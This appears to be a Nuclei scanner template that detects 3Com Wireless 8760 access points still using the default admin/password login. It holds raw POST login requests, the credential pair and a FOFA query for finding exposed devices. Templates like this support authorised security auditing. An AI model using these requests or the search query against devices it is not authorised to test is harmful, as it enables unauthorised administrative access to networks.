id: 3Com-wireless-default-login

info:
  name: 3Com Wireless 8760 Dual Radio - Default Login
  author: ritikchaddha
  severity: high
  description: |
    3COM Wireless 8760 Dual Radio contains a default login vulnerability. Default admin login password 'password' was found.
  reference:
    - https://www.speedguide.net/routers/3com-wl-546-3com-wireless-8760-dual-radio-11abg-1256
  metadata:
    max-request: 2
    fofa-query: "title=\"3COM\""
  tags: default-login,3com

http:
  - raw:
      - |
        POST /index.htm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        userid={{username}}&passwd={{password}}&Submit=LOGIN

      - |
        POST /login.html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    stop-at-first-match: true
    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - password

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'alt="Advanced Configuration"'
          - 'image/setup_wizard'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cb7e948a4d4bbaa68cafde42d2df1f89b994990e90a53e038cd4137b93f13c02022100e552a1db63177c4f45238554c93920ec40215c3ff958851b413d54db811c4d57:922c64590222798bb761d5b6d8e72950